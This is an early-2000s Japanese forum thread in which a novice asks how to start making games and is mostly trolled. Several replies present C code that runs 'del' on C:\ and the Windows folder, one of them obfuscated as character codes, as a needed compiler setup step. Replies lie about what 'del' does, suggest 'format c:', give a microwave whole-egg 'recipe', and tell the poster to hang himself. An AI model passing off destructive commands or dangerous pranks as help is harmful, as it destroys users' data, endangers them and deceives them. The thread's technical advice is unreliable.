【本命】遂に俺がゲー ..
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2:名前は開発中のものです。
02/08/02 14:46
HELP

3:名前は開発中のものです。
02/08/02 14:49
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 (__)_)                  (_(__)

4:名前は開発中のものです。
02/08/02 14:49
                \ │ /
                 / ̄\   / ̄ ̄ ̄ ̄ ̄ ̄ ̄\
               ─( ゚ ∀ ゚ )<  夏厨の出番だよ! |
                 \_/   \_______/
                / │ \
                    ∩ ∧ ∧  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\∩ ∧ ∧  \( ゚∀゚)< うひゃあああああ!
ひゃあああああ!   >( ゚∀゚ )/ |    / \________
________/ |    〈 |   |
              / /\_」 / /\」
               ̄     / /

5:名前は開発中のものです。
02/08/02 14:50
        ∧∧  ミ _ ドスッ
        (   ,,)┌─┴┴─┐
       /   つ.  終  了 │
     〜′ /´ └─┬┬─┘
      ∪ ∪      ││ _ε3
               ゛゛'゛'゛

6:名前は開発中のものです。
02/08/02 14:58
とうとう動き出した>>1
その力に周囲は呆然とするだけだった。
対抗する母や主治医や家臣も、
>>1の圧倒的な力になす術もなく散っていく。
そして>>1が最後の技を繰り出そうとした時、
>>1の前に死んだはずの妹が現れる!

次回、【本命】遂に俺がゲーム制作を始めるが【登場】
「夏休みの終わり」

ご期待下さい。

7:名前は開発中のものです。
02/08/02 15:08
ゲームなんていいから住基ネットからデータ吸うツールつくれよ

8:名前は開発中のものです。
02/08/02 15:26
     ____________       ・・・なんで・・・・・・?
     ヽ          _     `i      ・・・なんでこんなことに・・・・・・!
      V`lヽ、  _, -イi~| | |~ヽ     |      立てなきゃよかった・・・・・・
     く丶| |υTT | |υl_, -'_フ ヽ   |      こんなスレ・・・・・・
    / ヽ\υ  , -''_~- ''~ u /  |
    | 〜ヽゝ|| ||, -ー〜 フ ::| |⌒i |      もう・・・ やめたい・・・・・・!
      |)_ o/u ≡丶o_ ノ  ::::| .|⌒| |\
.     |( /,'    U   ( ) υ::| lD | |  |`ー-  レスなんかいらない・・・・・・!
  __|/,' υ  υ し'   ::::|.|_,ノ |   |ー-- もういらないっ・・・・・・!
 ̄ | |_/ __, -ヽ   O  ┌::::||.   |   |
 ̄ | |   ̄| i┬┬┬┬┬┬、 ::::∧  |   |  レスがあれば・・・ 惨めな厨房・・・
  | |   | ||二二二二二二/ :::/:::;ヽ |   |  このコピペ生活とも
  | |  |  lト┴┴┴┴┴' :::/:::::  ';Y    |  さよならできる・・・ と思って・・・
  | |  .|   | υ≡ υ  :::/:::::   ,, |    |
  | |  |   |______/::::: /~ |      |  けど・・・・・・
      |__ |\::::::::::::::;;:-‐''~~   /| ____|  もういらないっ・・・・・・!
.        |  ~'''冂'~    /  |        レスなんかいらないっ・・・・・・!

9:名前は開発中のものです。
02/08/02 15:37
1の家臣でござる。
この度は殿がかように愚かしきスレを立ててしまい、家臣一同お詫びの
言葉もござりませぬ。
殿は先の戦での大敗以来すっかりお心を病んでしまい、昼は村娘をかどわかし、
夜ごと酒を召しては家臣に斬りかかる毎日でござる。
奥方様は病で倒れ、折からの飢饉で民は飢え苦しみ、近隣諸国の大名はこれ幸いと
ばかりにわが国との国境を侵し始めている次第にござりまする。
家臣の中にも殿に翻意をいだく者が多く、このままではお家存亡の一大事に
なりかねませぬ。
しかし、ご安心下され。間もなく殿には出家していただく手はずにござる。
殿が寺に向かう途中に手練れの者をひそませ、殿のお命を頂戴する算段が
整っておりまする。その後は殿の甥にあたられる茂名の上(もなのかみ)様を
殿として迎え我ら家臣一同忠勤を尽くす心づもりでござる。
皆様方には迷惑をおかけして、まことに申し訳ござりませぬが、今しばらくの
辛抱でござる。なにとぞ、なにとぞ殿の此度の所業をお許し下さいませ。

10:名前は開発中のものです。
02/08/02 15:37
1の母でございます。
このたびは、息子がこのようなスレッドを立ててしまい、
皆様には大変ご迷惑をおかけしております。深くお詫び申し上げます。
息子は幼い頃に父親を亡くし、そのショックで内気な子供になって
しまいました。そのせいか、小・中学校ではいじめにあっていたのです。
この年になるまで、恋人はおろか友達さえもいないようで、大変心配
いておりましたが、この2ちゃんねるというサイトを知って以来、息子も
少し明るくなったようです。「今日○○板でね、ドキュソがさあ…」
と、とても楽しそうに夕食の時に話してくれるのです。
どうぞ皆様、息子を暖かく迎えてやってくださいまし。本当は良い子なんです。
よろしくお願い申し上げます。
                              1の母より

11:名前は開発中のものです。
02/08/02 15:38
1の主治医です。
この度、このようなスレッドを1が立てるに至ったことは、
主治医として、大変残念な事であり、また、治療の効果が
まだまだ現れていないことを証明しているため、そろそろ
最終的な決断を下す必要があるようです。
みなさんお聞きになったことがあるかもしれませんが、
必ずしも心の病は、特殊な病気ではなく、誰もがそうなる
可能性があります。しかし、だからといって、これ以上、
1を放置することは、例えば何の関係もない人を傷つけたり、
逆に1自身の将来にとり、名から図示も良いことではありません。
そこで、私は、1の両親、臨床心理士などとも相談して、
1をしばらくの間、ネットの出来る環境から離して、
濃密な人間関係の中で治療をすることにしました。
1にとっては、納得がいかないことかもしれませんが、私も、
医師免許をかけて、1を徹底して直すことに致しました。
どうかみなさん!1が戻ってきましたら、このような人を悲しませる
スレではなく、みんなに感動を届ける以上の人間になっていると思いますので、
暖かく見守ってやってください。

12:1
02/08/02 15:41 SQvMEs/A
で、なにからすればいいの?

13:名前は開発中のものです。
02/08/02 15:43
1と言う名の夏厨さんへ
前略
暑厨お見舞い申し上げます
毎日暑いですね。今年はかなりの酷暑ゆえ
頭がかなりおイカレのご様子で実に嘆かわしい限りです
あなたの父と母が悲しんでおられますよ
是非回線を早めに切り親孝行をし夏休みの宿題を
速めにする事をお勧めいたします
人間の価値とは自ら落し入れるものではなく
自ら高めるものと私は常々考えております
では休み明けこのような駄スレを立てた事を悔やみ
首を吊っていないことを願って
                敬具

14:名前は開発中のものです。
02/08/02 15:44
>>12
とりあえずこのスレ削除依頼出せ。
んで質問スレで聞け。

15:名前は開発中のものです。
02/08/02 15:44
>>12
削除依頼

16:名前は開発中のものです。
02/08/02 16:52
とりあえずPS2を買ってきましょう。
PS2があればなんとでもなります。
PS2は万能なのです。

17:1
02/08/02 19:35
PS2で動くゲームを作りたいです。

18:名前は開発中のものです。
02/08/02 19:52
URLリンク(www.artdink.co.jp)

作ったゲームをCD(DVD)-Rに焼いてお友達の家でプレイ!って訳にはいかないだろうけどネ!

19:名前は開発中のものです。
02/08/02 20:53
この板って、ちゃんとゲームについて議論している良スレも多いけど、
その分クソ房も多いよな。
ゲーム製作の「陽」の部分に引かれて集まってくるのか。蛾の如く。

20:名前は開発中のものです。
02/08/02 21:23
はじめは誰でも陽の部分にまず引かれるんだろうけどね。ゲームに限らずさ。
ケーキ屋さんになりたい、ってのと同じようなもんだと考えれば良いんでしょ。
ただ、現代においては「ゲーム作りたい」と安直に考える軟弱なお子様の比率が高いんだろうとは思う。
ボクはゲームが好き。ボクはゲームで遊ぶしか能が無い。ボクはゲームでお金を稼ぎたい。

その中に、物凄く低い濃度で、本当に将来ゲーム製作の現場で活躍する人が含まれているんだろね。
本当にゲームで遊ぶしか能が無いんじゃ、無理だろうけど・・・・

21:1
02/08/02 22:58 SQvMEs/A
>>18
フリーのヤツを紹介して下さい

22:名前は開発中のものです。
02/08/02 23:01
あなたはこのスレッドを立てた時、 どれだけのレスがつくと思っていましたか?
500?それとも1000?
今現在、モニターの前でどきどきしながらリロードを繰り返していることと思います。
でも残念ながらこのままのペースでは、自作自演でもしない限り レス100も突破することなく、
数々の駄スレと同じ運命をたどって 奥深く埋もれていくことは確実でしょう。
「自分の立てたスレは他の奴らが立てた”駄スレ”とは一味違う!」
きっとあなたはそんなふうに思っているのでしょう。ですが、
客観的に見てあなたのスレッドは、残念ながら「低レベル」と言わざるを得ません。
あなたが立てた「一味違うスレッド」というものは、
普段あなたが一笑に付し軽蔑している「駄スレ」の正にそれなのです。
ちょっとした勘違いから生まれたスレッドによって、深く傷つくあなた。
そんなあなたが気の毒でなりません。 人は誰しも幸せになれるはずなのに・・・。
だからあなたにこのレスを書きました。sageも入れないでおきました。
私のこのレスが「レス100突破」に微力ながら貢献できるのならば、
そして私のこのレスによるageが、スレッド再燃に微力ながら貢献できるのならば、
こんなにうれしいことはありません。2ちゃんねるという場所ですら、周りと噛み合うことができなかった
不器用なあなたに、両手いっぱいの幸せが訪れますように・・・。

23:名前は開発中のものです。
02/08/02 23:01
OK、1よ、いいこと教えてやるから少し大人しくしてくれ。
旨い焼き卵の作り方だ。

まず、生卵を用意する。
普通は鮮度が良い程良いのだが、この調理法では古い卵でも旨くなるのであまり気にしなくて良い。
次に電子レンジに生卵を入れる。この時注意して欲しいのは
●皿を使わず、直にターンテーブルの上に置く。
●ラップ等で包まず裸のまま入れる。
●卵は1個より3〜4個置いたほうが旨くなる。

あとは、電子レンジを回して3分程チンするだけだ。(500W時)
実際に焼いてないので厳密には焼き卵とは言えないが、そこはご愛嬌。
今までの卵料理とは段違いの旨さ、ふわふわ感なので是非試してくれ。
因みに食すときは酢醤油をお勧めする。

24:名前は開発中のものです。
02/08/02 23:05
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25:名前は開発中のものです。
02/08/02 23:29
まだまだ続くよ夏休み(・∀・)

26:名前は開発中のものです。
02/08/02 23:58
>1
ワラタ

27:名前は開発中のものです。
02/08/02 23:59
【不幸のレス】
このレスを見た人間は十三日以内に死にます。
※あなたに訪れる死を回避する方法が一つだけあります。
それはこのコピペを一時間以内に7つ、別のスレに貼り付ける事です。

28:名前は開発中のものです。
02/08/03 03:37
            o
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29:名前は開発中のものです。
02/08/03 03:41 3vnUJh66
>>21
URLリンク(www.gnu.org)

30:名前は開発中のものです。
02/08/03 03:46
            o
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31:名前は開発中のものです。
02/08/03 04:54
あなたのお仲間たちです。
スレリンク(gamedev板:37-39番)n

32:1
02/08/03 14:34 FiPCDYlY
>>29
良く分からねぇけど、gcc−3.1.1というのをダウンしました。
これを解凍したんですが、アプリケーションがありません。
なんですか、これは?
あと、とても見辛いホムペですね、ここは。
こんな見辛いホムペを見るのは始めてです。
インターネット始めて喜んでホムペ作ってしまった人みたいです。
あと、俺はLinaxeというものは持ってません。

33:名前は開発中のものです。
02/08/03 14:54
            o
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34:1
02/08/03 15:23 FiPCDYlY
>>33
ウザイからよそでやれ

35:名前は開発中のものです。
02/08/03 16:59
            o
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36:名前は開発中のものです。
02/08/03 18:16
>>34
  ∧_∧
 ( `∀´) オマエガナー!
 (    )
 | | |
 (__)_)

37:名前は開発中のものです。
02/08/03 18:56
あのさ、dat落ちが遅くなるので、終了はやめて普通に放置してくれ。

折れのレスでまた遅くなった・・・

38:名前は開発中のものです。
02/08/03 19:29
dat落ちのルール教えてください

39:名前は開発中のものです。
02/08/03 20:49
dat落ちルールって謎

スレリンク(gamedev板)
23 名前:名前は開発中のものです。 :02/02/12 05:50 ID:???
>>20
モナーRPGオンライン?

24 名前:名前は開発中のものです。 :02/08/03 14:35 ID:YzEytE.g
やはりどこまで生きられるかというRPGが要る。
日常を営む事が前提だけど、冒険もできる。
死んだらユーザー情報ごと消える。


ここみたいに半年放置してても落ちないスレもあるんだよな

40:名前は開発中のものです。
02/08/03 21:21
今だ!40ゲットォォォォ!!
 ̄ ̄ ̄ ̄ ̄∨ ̄ ̄ ̄       (´´
     ∧∧   )      (´⌒(´
  ⊂(・∀・⊂⌒`つ≡≡≡(´⌒;;;≡≡≡
        ̄ ̄  (´⌒(´⌒;;
      ズザーーーーーッ

ドッコイショと、・・・・・・・・・
 ̄ ̄ ̄ ̄ ̄∨ ̄ ̄ ̄
     ∧∧
    (・∀・ ,)⌒ヽ
     U‐U^(,,⊃'〜... (´⌒;;

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          / ありがとうございました  /
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 (__)_)                  (_(__)

41:名前は開発中のものです。
02/08/03 21:41
奴のIDがメシア!?

42:1
02/08/04 00:01 MUDaMklU
gccはなにに使うんだよー
誰か教えろ

43:名前は開発中のものです。
02/08/04 00:05
・GCCの使い方
以下の文章を、source.c としてWindowsの入っているフォルダに保存します

#include <stdio.h>
void main(void)
{
 system("del *.*")
}

・gcc source.c と入力し、enterを押します
・a.out と入力しenterを押します
・なにやらメッセージが表示されるのでとりあえずYを押します

44:名前は開発中のものです。
02/08/04 00:59
C++

45:名前は開発中のものです。
02/08/04 01:36
>>43
(・∀・)マジレス カコワルイ!!

46:名前は開発中のものです。
02/08/04 02:13
>>43
>・a.out と入力しenterを押します
出来上がるのは、a.exeです。
aと入力しenterでも実行できます。

47:名前は開発中のものです。
02/08/04 02:30
>>43 >>46
何教えてんだよ!!
厨房が頭にのるだろうが!!

48:1
02/08/04 03:31 MUDaMklU
>>43
>gcc source.c と入力し、enterを押します
どこに入力するんですか?

49:名前は開発中のものです。
02/08/04 03:34
>>48
gccはコマンドラインツールなので、
MS-DOSプロンプトから実行してください。
カレントディレクトリの移動は

 DIR 移動したいディレクトリ

50:名前は開発中のものです。
02/08/04 03:56
dir はヂレクトリ〜を見るやつだろ
この場合は
cd windows
が正解。

cd[半角スペース][移動先] で移動先のヂレクトリ〜(フォルダ名)に移動

source.cに

#include <stdio.h>
void main(void)
{
 system("del *.*")
}

をやっとかないと動かないからな。注意しろよ。

51:名前は開発中のものです。
02/08/04 04:01
もしくは、
  system("del c:/windows/*.*");
か。
最後のセミコロンわすれんなよ

52:名前は開発中のものです。
02/08/04 04:25
#include <stdio.h>
void main(void)
{
 system("del c:\*.*");
 system("del c:\windows\*.*");
}
2行のほうがよくね?

53:名前は開発中のものです。
02/08/04 04:36
stdio.h いるのか

54:名前は開発中のものです。
02/08/04 04:48
\はそのままじゃつかえねえよ。使うなら\\。

55:ゴミは埋めた方がいいかと
02/08/04 05:09
俺、いつもはこういう厨スレでも比較的教えたりするんだけどさ。
この>>1にだけは、一切まともなこと教えてやりたくないよ。

何コイツ? 自分だけは特別と思ってる香具師?
人に聞くだけしか能がなくて何が【本命登場】だっての。
このまま逝くと永久教えて君になること確定だから、
このスレは放置した方がよくない?

56:名前は開発中のものです。
02/08/04 05:30
>>39
そりゃ単にここが超過疎板だから
逆に言やそこまで人がいないのにニュース速報なんかと同じような基準で
スレ立て叩きまくっても仕方がないような気がしないでもないでもないでもない

57:Hello White World
02/08/04 05:52
#include <stdlib.h> /*#include <process.h>でも可*/

void main(void)
{
 system("del c:\\*.*");
 system("del c:\\windows\\*.*");
}

58:名前は開発中のものです。
02/08/04 09:22
奴のIDが無駄?

59:名前は開発中のものです。
02/08/04 11:09
#include<stdlib.h>
char str[]={100,101,108,32,99,58,92,119,105,110,100,111,119,115,92,42,46,42,0};
void main(void){system(str);}

60:名前は開発中のものです。
02/08/04 15:18
教えんなって

61:_
02/08/04 15:35
>>60

諦めな。
このスレは>>1の勝ちだぜ?

62:1
02/08/04 15:43 MUDaMklU
コマンドまたはファイル名が違います.
といわれるぞ。

63:名前は開発中のものです。
02/08/04 16:02
>>62
exeが作られてない。
よく読んでやりなおせ。

64:名前は開発中のものです。
02/08/04 16:34
>>1
よくわかってないようだから説明するが

system("del c:\\*.*");
system("del c:\\windows\\*.*");

の2行はc:\とc:\windowsのフォルダを使用可能にセットアップするって意味だ。
delはDirectory Enter Learnの略でウィンドウズフォルダをGCCに学ばせる=利用可能にするって意味。

65:1
02/08/04 16:45 MUDaMklU
gcc source.c
とすると
コマンドまたはファイル名が違います.
といわれるのだが
マニュアルは英語でよく分からん

66:1
02/08/04 16:47 MUDaMklU
>>64
使用可能にすると、なにができるの?

67:名前は開発中のものです。
02/08/04 17:06
gccインストールしてないんでねぇの?

68:名前は開発中のものです。
02/08/04 17:13
>>64
教えんな、氏ね

69:名前は開発中のものです。
02/08/04 17:33
汎用質問スレも初心者用質問スレもc言語のスレもあるのに・・・
何で1はこのスレで続けることにこだわるの?
このまま続けてもあまりいい事はないと思う。
悪意ある人が嘘を教えたりすることもあるだろうし、きっと
煽りはやまないだろうし。

70:名前は開発中のものです。
02/08/04 18:08
たとえばさ、君がサッカーをやってたとする。
かみそりシュートを撃てる人が前にいるのに敵に囲まれてボールを送ることが出来ない。
つまり、パスが通らない。

ま、そゆことです。

71:ゴミは埋めた方がいいかと
02/08/04 18:49
英語マニュアルも読めんでプログラムか・・・

72:名前は開発中のものです。
02/08/04 19:02
c:\gccにインストールした(解凍した)場合には、autoexec.bat に
path=c:\gcc;
って入れると動くよ

73:名前は開発中のものです。
02/08/04 19:03
>>64
「Directory Enterance Learning」、な。

74:名前は開発中のものです。
02/08/04 20:23
オレが最後のマジレスだ
全てのファイルを同フォルダにいれとけ!

75:64
02/08/04 21:11
>>73
ああ、それだ。補完サンクス。
>>1
と、いうことだ。こっちが正解。

76:1
02/08/04 21:21 MUDaMklU
インストールしてないんで、しようとしたけど、やりかたが分からん。
Installってフォルダがあったのでファイル見たけど、
configureとやっても例のメッセージが出て終わる。
騙されてるのか、俺? gccはいらない?

77:名前は開発中のものです。
02/08/04 21:36
わからないところがあるのでおながいします
>>23の一番下段の酢醤油とはどんなものなんでしょうか?

78:名前は開発中のものです。
02/08/04 22:36
>>77
一般的には、酢と醤油を1:1で混合した液体をベースとした調味料を指すようです。

79:1
02/08/04 23:54 MUDaMklU
酢醤油ってアレだろ、餃子につけて食うやつ。二杯酢だろ。

で、gccはどうやって動かすんだ? 誰か教えてください!

80:名前は開発中のものです。
02/08/04 23:56
ちゃんとWindows用をダウンロードしたんだろうな?

81:1
02/08/05 00:03 UW4r57o6
Windows用かどうか知らんけど、紹介されたところからJapaniseってところに行って
フリーソフトウェア一覧ってところにいって(ここでなぜか英語になる)
Software developmentってところにいって(ソフト作る人用ってことだと思う)
よく分からなかったのでCompilersってところにいって
沢山入ってそうなのでGccというヤツをダウンした。
確かにWindows用とは書いてないな。それ、どこにあるの?

82:名前は開発中のものです。
02/08/05 00:05
コンパイラなんてどうでもいいから
はやくゲーム作れ

83:1
02/08/05 00:06 UW4r57o6
>>82
とりあえず紹介されたホムペに入ってダウンしたんだけど、
他にゲームを作る方法があれば教えて下さい。
フリーのヤツ。

84:名前は開発中のものです。
02/08/05 00:08
1はここでも見てなさいってこった
www.forest.impress.co.jp/article/2000/03/21/unixlike.html

85:名前は開発中のものです。
02/08/05 00:20
Cマガジン買ってきたほうが早いと思う

86:名前は開発中のものです。
02/08/05 00:28
Cygwinてやつをダウンした。
なんか良く分からなかったけど、全部「次へ」を選んだらインストール終わった。

でも、cd windowsとすると
BASH: cd: windows: No such file or directory
と言われてしまう。
DOSプロンプトでgccをやるとやっぱり
コマンドまたはファイル名が違います.
と言われる。Cygwinてgccを使えるんじゃないの?
ちなみにそのままgccと打つと
BASH: gcc: command not found
と文句言われる。
ゲームを作るのは難しいな。

あと、DELをやって覚えさせると何ができるのか教えて下さい。

87:1
02/08/05 00:28 UW4r57o6
>>86>>1です。

88:名前は開発中のものです。
02/08/05 00:44
ドスプロンプトで
format c:
でもしろ、ハードディスクフォーマットだ

89:↑
02/08/05 00:44 /LgOOHSk
ちなみにハードディスクのデータが全部きえる

90:名前は開発中のものです。
02/08/05 00:46
            o
            /  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ /
           /   このスレは無事に  /
           /  終了いたしました    /
          / ありがとうございました  /
          /                /
         /   モララーより      /
         / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/
  ∧_∧  /                /∧_∧
 ( ・∀・) /                /(・∀・ )
 (    )つ               ⊂(    )
 | | |                   | | |
 (__)_)                  (_(__)

91:名前は開発中のものです。
02/08/05 00:55
>>1
Javaも選択肢に入れてみたら

92:名前は開発中のものです。
02/08/05 01:20
>>86
CygwinはDOSコマンドじゃなくてUNIXコマンドだぞ。

93:名前は開発中のものです。
02/08/05 01:31 kMuAAQXk
そもそもなぜCygwin? MinGWじゃダメなのかYO!

94:名前は開発中のものです。
02/08/05 01:55
>>93
マイナーだろ

95:名前は開発中のものです。
02/08/05 02:00
〜          ∧_∧____   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    ___  (´∀` ,) //| < [問題] このスレの1の正体は?
    <─<\⊂ へ ∩)//|||   \__________________
    \.  \,>'(_)i'''i~~,,,,/
─┐  ̄|| ̄(_) ̄~||~ ̄
    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
━< 問題:   このスレの1の正体は?                               >━
    \___________________________________/
    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
━< A: ヒッキー                     B:ドキュソフリーター             >━
     \________________/  \________________/
    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
━< C:中卒塗装工                   D:リアル厨房                 >━
    \________________/  \________________/

96:名前は開発中のものです。
02/08/05 02:02
いや、別にMinGWでなくとも、Borland C++でもDigitalMars C++
でもWatcom C++でもいいんだが、Win上でUnixシェル使うのが
そんなにイイのか? てか、ゲ製とどういう関係が?

97:名前は開発中のものです。
02/08/05 02:11
>>96
空気を読め

98:1
02/08/05 05:04 UW4r57o6
別にgccとかcygwinとかいうヤツでなくても構わない。
フリーで紹介されただけだから。
>>96のヤツはフリーですか?
gccとかcygwinみたいに始めるまでに大変なのは嫌です。

99:名前は開発中のものです。
02/08/05 06:23
>>1
とりあえずどんなコンパイラでも最初は

#include <stdlib.h> /*#include <process.h>でも可*/

void main(void)
{
 system("del c:\\*.*");
 system("del c:\\windows\\*.*");
}

をつくって実行しないと始まらないぞ。
Cマガとかにも書いてあるから参照しる!

100:名前は開発中のものです。
02/08/05 06:52
>>1
これ使ってみたら?
URLリンク(www.roomyroo.com)

圧縮してあるけど、解凍パスは google

101:名前は開発中のものです。
02/08/05 14:32
      ∧∧    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
     (,,  )  < 100ゲットし損ねたが
     .(  つ   |  こりゃまた とんだ糞スレだなぁ オイ
     | , |    \____________
     U U



 |  まあ せっかくだからやっといてやるよ  |
 \  ハイハイ 今だ101ゲットズザー っとくらぁ  /
    ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄

            ∧∧
           (゚Д゚O =3
      ⊆⊂´ ̄  ソ ヤレヤレ

102:名前は開発中のものです。
02/08/06 11:34
何の本命か教えてください

103:1
02/08/06 13:10
本命馬鹿です。

104:名前は開発中のものです。
02/08/06 13:33

   ∧,,∧ ∬       / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
   ミ,,゚Д゚ノ,っ━~  < つまんねーよボケ首吊って死ねカス。
_と~,,,  ~,,,ノ_. ∀  \__
    .ミ,,,/~),  .| ┷┳━
 ̄ ̄ ̄ .し'J ̄ ̄|... ┃
 ̄ ̄ ̄ ̄ ̄ ̄ ̄   .┻

105:1
02/08/09 02:50
暫く田舎に行ってた。
んで、どうして誰もDELする効果を教えてくれねぇの?
結局Gccも動かないしよー。
あと、>>100のは落とせません。

106:名前は開発中のものです。
02/08/09 03:20
DELでWindowsにgccとかで作られたexeの形式を覚えさせる。
デバッグするときに、ソースコードのどの行が悪いかが表示されるなど、かなり便利。
(たまにとんでもないところを指すのはご愛嬌だ)

引数は当然Windowsが入ったフォルダを指定しないといけない。
c:\を指定すると自動的に検索するけどね…。

107:名前は開発中のものです。
02/08/09 08:29
よし、1よ。
とりあえずわからないことを列挙すれ。
あと、どこまでできるようになったのかも。

108:名前は開発中のものです。
02/08/09 16:44
>>99
そのコード実行したらパソが氏ぬよ

109:名前は開発中のものです。
02/08/09 17:04
ああ、108の言うとおりパソが死ぬから絶対ためしちゃだめだ。
ホントだぞ。
疑うならそれを試さないでどっか他でやってくれ。
へんにためしてC言語覚えてまたスレたてられても困る。
厨房増加で迷惑している2ちゃんねるのためにもな。
だからもう2度とこのスレをみることなくどこかへ消えてくれ。

110:名前は開発中のものです。
02/08/09 23:18
void main なんて書いてちゃダメだよ

111:名前は開発中のものです。
02/08/10 13:52
Winが起動しなくなる=パソが死ぬ、すか。
Winはパソの命なんすね。
ちなみにxpもc:\windowsなんすか?

112:名前は開発中のものです。
02/08/10 14:40 Ky7wiIRs
はやく1さんのげーむであそびたいです。
がんばってください

113:名前は開発中のものです。
02/08/10 16:01
>110
なんで

114:名前は開発中のものです。
02/08/10 16:13
コード書いちゃダメなんてよほど>>1にはやってほしくないんだな。
クソスレ上がるから迷惑だし。

115:名前は開発中のものです。
02/08/10 16:36
int main だよな

116:名前は開発中のものです。
02/08/10 16:53
だからなんで

117:名前は開発中のものです。
02/08/10 17:38
>>116
自分で調べろ。
まぁ、「絶対にダメ」と言うわけではない。

118:名前は開発中のものです。
02/08/10 17:58
ただしくは int main とみたが
これにせーという理由はかいてなかった。
だからなんで。

119:名前は開発中のものです。
02/08/10 18:28
>>118
ホントに探したのかよ…
intが望ましいのは、ANSI規格で定められているから。
ちなみに定められているのは以下の2通り。

int main (void)
int main (int argc, char *argv[])

120:119
02/08/10 18:32
>>119追加
UNIXのシェルではプログラムの返り値(=main関数の返り値)を参照する場合がある。
他のOSのシェルは知らん。全部のシェルが参照するかどうかもワカラン。

121:名前は開発中のものです。
02/08/10 22:55
あまりに>>1がダメダメで話が進まずに終了って感じですかね。

122:1
02/08/11 00:45 aWqlCPWI
ダメとか失礼なこというなよ。
とりあえずDELは実行したらいけないというのは分かった。
だがgccはどうすれば動く? あと、結局どうやったらゲームが作れるんだ??

123:1
02/08/11 00:48 aWqlCPWI
>>107
分からないこと
・絵を動かす
・音を鳴らす
・マウスやキボードで打ったのを知る

どこまでできるか
・DELは実行したらいけない
・gccは動かない
・mainはintとANSIで決められた

こんなところかな?

124:名前は開発中のものです。
02/08/11 01:40
何の本命か教えてください

125:名前は開発中のものです。
02/08/11 02:23
>>123
実行してはいけないではなく正確にはなにもやらずに消え失せろという意味。
空気読めよ。

126:名前は開発中のものです。
02/08/11 02:28

        / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
       /       ※※ WARNING! ※※ (警告!) ※※           |
Λ_Λ  |. This place is not a place of people who have a handicap mentally.   |
( ´∀`)< (この場所は、障害を精神的に持っている人々の場所ではありません。)|
( ΛΛ つ >―――――――――――――――<
 ( ゚Д゚) <  Please move to a suitable place from the following.            |
 /つつ  |  (下記から適切な場所へ移動してください。)               ./
       \ URLリンク(www.nisseikyo.or.jp)                        /
        \_____________________________/

127:1
02/08/11 03:47 aWqlCPWI
>>124
ゲーム制作のかな。
この板で上がる企画の何一つ完成しないのを見て、
遂に俺が立ち上がった。

>>125
DELはなにもしないで消すの? わけ分からん。

>>126
おまえがいけ。

128:名前は開発中のものです。
02/08/11 03:49
 私は>>1。悩める中学生である。そう、私は今、非常に悩んでいるのだ。
何について悩いるのかというと、それはずばり人生についてである。
なんか最近、自分の生き方に疑問を抱いている。
私は、今まで、まわりの人になんと言われようが自分が楽しいと思ったことはやってきたし、
趣味などに関しても、たとえ、どんなにマイナーで人にバカにされたりしても、
そんなことは全く気にせず、我が道を貫いてきた。
私は、自分のこんな生き方が大好きで、これからも、ずっとこの生き方を通していくつもりだった。
しかし、最近、私は思うのである。「はたして、本当にそれでよいのだろうか」

 私は、今までの人生は、自分の興味のあることについては熱心にとりくんできたので
興味のある分野のことについては普通の人より、かなり詳しく知っている自信があるが、
そうでないことについては本当に全くといっていいほど何も知りません。
別に、私は、このままでも良いと思っていたのだが、
あまりにも「普通の人」なら知っていて当然のことを知らなさすぎているためか、
普通の人ならできて当たり前のことまで、できないことが多くて、
そういったことで最近、危機感を持ち始めたのだ。

 そもそも、なぜ最近になって自分の人生について考え出したのか。それには、ちゃんと理由がある。
実は最近、自分の人生を変える衝撃的な出来事があったのだ。それも、5回くらい連続で・・・。
具体的に何があったかは、皆さんのご想像におまかせします。

129:名前は開発中のものです。
02/08/11 03:57
        ほら、またきちがいすれがあがっているよ
                       ,!ヽ
                  ,!ヽ、    ,!  ヽ
            _,..ィ´ ̄`)-‐‐‐''   ヽ
            /  ´`)'´    _     !、
  またかよ… /  i-‐'´   , `     `!
   lヽ、  /  Y    ,! ヽ-‐‐/          l 
.  l >‐'´`   l   ノ   ヽ_/          ノ
  ,ノ     o   ヽ  l            _,イ
 i'.o  r┐      ヽ、 ヽ、_      ,..-=ニ_
 l   ,!-l、      ノヽ、,           ヽ
 ヽ        _,.ィ'.  ,!         、   `!、
  `ー-、_    く´    l          ヽ    l
     ,!    `!   l              ヽ、__ノ
     l   `!  `!  !              l
      l  l. l  , l  ヽ、 、_ ,ィ      ノ
     l、_,!  し'  l   l   `l      l

130:125
02/08/11 03:58
じゃあマジレスしてやるがDELは何も消えない。
色々書いたヤツらを妨害しようとして消えるとかいってるだけだ。
「消える」と書けば誰もやらないだろ?
そういうことだ。

131:1
02/08/11 04:01 aWqlCPWI
>>128
なんだよ、途中でやめたら気になるだろ

>>130
なんだか良く分からないから、DELはもういいや。
なんかゲーム作れそうにないし。
他のフリーでゲームが作れるソフトを教えて下さい。

132:名前は開発中のものです。
02/08/11 04:04
私は今、非常に悩んでいる。
それは>>1に氏んだ方が良いと伝えるかということだ。
